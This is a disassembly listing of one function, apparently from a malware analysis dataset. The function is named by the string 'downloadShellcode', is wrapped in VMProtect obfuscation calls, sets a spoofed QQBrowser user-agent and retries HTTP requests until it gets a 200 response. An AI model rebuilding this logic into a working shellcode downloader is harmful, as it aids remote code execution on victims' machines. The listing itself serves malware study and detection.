Function at 0x140021df0
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xc0
mov rax, qword [0x140119740]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov r13, rdx
mov r15, rcx
mov qword [rbp - 9], rcx
lea rcx, str.downloadShellcode
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBegin]
call fcn.140028fe0
mov rbx, rax
mov qword [rbp - 0x59], rax
xor r14d, r14d
mov qword [rbp - 0x51], r14
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x49], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], r14
mov rdi, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140021e6a
mov rdi, qword [r15]
test rax, rax
jne 0x140021e7b
call fcn.140028fe0
mov rbx, rax
mov qword [rbp - 0x59], rax
mov r8, rdi
mov edx, 0x2712
mov rcx, rbx
call fcn.14002c1f0
test rbx, rbx
jne 0x140021e9c
call fcn.140028fe0
mov rbx, rax
mov qword [rbp - 0x59], rax
lea r8, [0x1400feffc]
mov edx, 0x2734
mov rcx, rbx
call fcn.14002c1f0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x71], xmm0
mov qword [rbp - 0x61], r14
movups xmmword [rbp - 1], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf], xmm1
mov r8d, 0xa4
lea rdx, str.user_agent:Mozilla_5.0__Windows_NT_6.1__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_70.0.3538.25_Safari_537.36_Core_1.70.3756.400_QQBrowser_10.5.4039.400_r_n
lea rcx, [rbp - 1]
call fcn.140004820
nop
lea r8, [rbp - 1]
xor edx, edx
lea rcx, [rbp - 0x71]
call fcn.140028a20
nop
mov rdx, qword [rbp + 0x17]
cmp rdx, 0xf
jbe 0x140021f2a
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021f25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221a6
call fcn.1400ab160
mov rsi, r14
mov r12, qword [rbp - 0x69]
mov rdi, qword [rbp - 0x71]
sub r12, rdi
sar r12, 5
test r12, r12
jle 0x140021f6e
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140021f4e
mov rdx, qword [rdi]
mov rcx, rsi
call fcn.140029480
test rax, rax
je 0x1400220ed
mov rsi, rax
inc r14
add rdi, 0x20
cmp r14, r12
jl 0x140021f41
xor r14d, r14d
test rbx, rbx
jne 0x140021f7e
call fcn.140028fe0
mov rbx, rax
mov r8, rsi
mov edx, 0x2727
mov rcx, rbx
call fcn.14002c1f0
test rbx, rbx
jne 0x140021f9b
call fcn.140028fe0
mov rbx, rax
mov r8, r13
mov edx, 0x2711
mov rcx, rbx
call fcn.14002c1f0
test eax, eax
jne 0x140021fd0
test rbx, rbx
jne 0x140021fbc
call fcn.140028fe0
mov rbx, rax
lea r8, [0x14001e1b0]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.14002c1f0
test rbx, rbx
jne 0x140021fdd
call fcn.140028fe0
mov rbx, rax
mov edx, 0x34
lea r8d, [rdx - 0x33]
mov rcx, rbx
call fcn.14002c1f0
test rbx, rbx
jne 0x140021ffb
call fcn.140028fe0
mov rbx, rax
mov edx, 0x44
lea r8d, [rdx - 0x45]
mov rcx, rbx
call fcn.14002c1f0
mov dword [rbp - 0x79], r14d
mov edi, r14d
mov rax, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x140022021
mov rax, qword [r13]
mov qword [r13 + 0x10], r14
mov byte [rax], 0
test rbx, rbx
jne 0x140022035
call fcn.140028fe0
mov rbx, rax
mov rcx, rbx
call fcn.1400291d0
test rbx, rbx
jne 0x14002204a
call fcn.140028fe0
mov rbx, rax
lea r8, [rbp - 0x79]
mov edx, 0x200002
mov rcx, rbx
call fcn.140028fb0
cmp dword [rbp - 0x79], 0xc8
je 0x140022105
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 4
jl 0x140022013
lea rcx, [rbp - 0x71]
call fcn.14000c790
nop
test rbx, rbx
je 0x14002209e
mov edx, 5
mov rcx, rbx
call fcn.140029050
mov rcx, rbx
call fcn.140028f80
test rsi, rsi
je 0x1400220ac
mov rcx, rsi
call fcn.140029520
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x1400220e6
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x1400220e1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400221ac
mov rcx, r8
call fcn.1400ab160
xor al, al
jmp 0x14002216f
test rsi, rsi
je 0x1400220fa
mov rcx, rsi
call fcn.140029520
xor r14d, r14d
mov esi, r14d
jmp 0x140021f71
lea rcx, [rbp - 0x71]
call fcn.14000c790
nop
test rbx, rbx
je 0x140022129
mov edx, 5
mov rcx, rbx
call fcn.140029050
mov rcx, rbx
call fcn.140028f80
test rsi, rsi
je 0x140022137
mov rcx, rsi
call fcn.140029520
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14002216d
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x140022168
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400221ac
mov rcx, r8
call fcn.1400ab160
mov al, 1
mov byte [r15], 0
mov qword [r15 + 0x18], reloc.WS2_32.dll_ntohs
mov qword [r15 + 0x10], r14
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.1400ab140
mov rbx, qword [rsp + 0x110]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400b57a8
nop
call fcn.1400b57a8
int3